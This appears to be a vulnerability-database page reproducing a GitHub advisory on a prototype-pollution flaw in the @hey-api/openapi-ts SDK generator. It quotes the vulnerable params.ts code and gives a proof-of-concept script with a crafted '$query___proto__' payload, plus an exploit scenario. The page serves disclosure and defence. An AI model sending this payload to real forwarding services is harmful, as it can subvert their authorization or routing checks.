hey-api openapi-ts CVE-2026-48819
MEDIUMSeverity by source
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Network-delivered via crafted HTTP key; AC:H because exploitation requires a non-default proxy/BFF forwarding pattern; PR:N as no authentication is needed from the attacker; S:U because only the local params object is affected, not global prototype.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Lifecycle Timeline
1Blast Radius
ecosystem impact- 14 npm packages depend on @hey-api/openapi-ts (6 direct, 8 indirect)
Ecosystem-wide dependent count for version 0.97.3.
DescriptionGitHub Advisory
Summary
dist/clients/core/params.ts in @hey-api/openapi-ts ships a runtime template that is copied verbatim into every generated SDK as params.gen.ts. When a caller passes an object argument containing an unknown key starting with a slot prefix ($body_, $headers_, $path_, $query_), the function strips the prefix and writes the remainder directly to that slot without validation. The key "$query___proto__" causes the returned params.query object to have its prototype chain substituted with attacker-controlled data. The issue is present in all versions through at least 0.97.2.
Details
The vulnerable branch in dist/clients/core/params.ts:
const extra = extraPrefixes.find(([prefix]) => key.startsWith(prefix))
if (extra) {
const [prefix, slot] = extra
;(params[slot] as Record<string, unknown>)[key.slice(prefix.length)] = value
}This branch runs for any key that (1) is not registered in the field map and (2) starts with one of the four slot prefixes. When a caller passes "$query___proto__" as an extra key alongside a legitimate field, the key is not in the field map, key.startsWith("$query_") is true, and key.slice(7) produces "__proto__". The bracket-write params["query"]["__proto__"] = value invokes the __proto__ setter, which calls Object.setPrototypeOf(params.query, value).
Reachability. Every generated endpoint method that accepts an object argument passes it through buildClientParams. If the application forwards user-supplied request parameters to a generated client method - a common pattern in proxy servers, BFF layers, and API gateways - an attacker can include "$query___proto__" alongside a legitimate field (e.g. "q"). The legitimate field ensures stripEmptySlots does not remove the affected slot (it has at least one own key), so the poisoned params.query object is returned to the caller.
Concrete field config that hey-api generates for a GET endpoint with one query param q:
// generated by hey-api for: GET /search?q=<string>
buildClientParams([parameters], [{ args: [{ in: "query", key: "q" }] }])A request { q: "hello", "$query___proto__": { isAdmin: true } } reaches this call with "q" going to the field map branch and "$query___proto__" falling through to extraPrefixes.
PoC
npm install @hey-api/openapi-ts@0.97.2
cp node_modules/@hey-api/openapi-ts/dist/clients/core/params.ts ./params.ts
npx tsx poc.ts
# or: docker build -t heyapi-poc . && docker run --rm heyapi-pocpoc.ts:
import { buildClientParams } from "./params.ts";
// Generated fields config for GET /search?q=<string>
const generatedFields = [{ args: [{ in: "query" as const, key: "q" }] }];
// Attacker request: legitimate "q" plus injected "$query___proto__"
const result = buildClientParams(
[{ q: "hello", "$query___proto__": { isAdmin: true } }],
generatedFields
);
const q = result.query as any;
console.log(q.q); // "hello" - own property, normal
console.log(q.isAdmin); // true - inherited via prototype chain
console.log(Object.keys(q)); // ["q"] - own keys only
for (const k in result.query) console.log(k); // "q", "isAdmin"Expected output:
[CONFIRMED] buildClientParams prototype substitution via $query___proto__ key
Scenario: GET /search with fields [{ in:'query', key:'q' }]
Attacker request: { q: 'hello', '$query___proto__': { isAdmin: true } }
result.query.q = hello
result.query.isAdmin = true ← inherited, NOT own
Object.keys(q) = [ 'q' ]
for..in keys = q, isAdmin
Object.getPrototypeOf = {"isAdmin":true}No sentinel key is needed. The legitimate field "q" keeps params.query alive through stripEmptySlots. reproduce.zip
Impact
The returned params.query object has its prototype chain substituted with the attacker-supplied value. Any downstream code that iterates it with for..in (e.g., when serializing query parameters for an outgoing HTTP request) will enumerate the injected keys alongside legitimate ones. Applications that check inherited properties on the params object for routing or authorization decisions are also affected.
Global Object.prototype is not modified - impact is limited to the returned slot object and its consumers.
Every npm package generated by @hey-api/openapi-ts carries this template. Downstream packages include @opencode-ai/sdk, @trigger.dev/sdk, and others. A fix in the template propagates to all of them on regeneration.
AnalysisAI
Prototype pollution in @hey-api/openapi-ts affects all versions through 0.97.2, allowing remote unauthenticated attackers to substitute the prototype chain of the returned params slot object by passing a crafted key such as '$query___proto__' through any application that forwards user-supplied parameters to a generated SDK method. The flaw resides in a runtime template (dist/clients/core/params.ts) that is copied verbatim into every generated SDK, meaning every downstream npm package regenerated from this tool carries the vulnerable code - confirmed affected consumers include @opencode-ai/sdk and @trigger.dev/sdk. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three concrete conditions to hold simultaneously: (1) the target application forwards user-supplied request parameter objects - including arbitrary or unknown keys - directly into a generated hey-api SDK client method (buildClientParams), a pattern typical of proxy servers, BFF layers, and API gateways; (2) the targeted generated endpoint has at least one registered query parameter field (so that stripEmptySlots does not prune the poisoned params.query slot, which retains at least one own key via the legitimate field); and (3) downstream code within the application either iterates the returned params object with for..in (enumerating inherited keys) or checks inherited properties on it for routing or authorization decisions. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 score of 4.8 (AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N) reflects a medium severity rating, with AC:H correctly capturing the non-trivial precondition: the application must act as a forwarding proxy or BFF that passes raw user-supplied key-value pairs into a generated SDK method without sanitization. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker sends an HTTP GET request to a proxy or BFF service with query parameters including a legitimate field (e.g., q=hello) and an injected field ($query___proto__={ isAdmin: true }). The proxy forwards the raw parameter object to a generated hey-api SDK method; buildClientParams routes the injected key through the extraPrefixes branch, substituting params.query's prototype with the attacker-supplied object. … |
| Remediation | No vendor-released patched version has been identified at time of analysis; the fix version is not confirmed in the available data. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic
Directory traversal vulnerability in lib/app/index.js in Geddy before 13.0.8 for Node.js allows remote attackers to read
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Eval injection vulnerability in index.js in the syntax-error package before 1.1.1 for Node.js 0.10.x, as used in IBM Rat
The HTTP server in Node.js 0.10.x before 0.10.21 and 0.8.x before 0.8.26 allows remote attackers to cause a denial of se
Same technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-hhx9-57xq-r5rw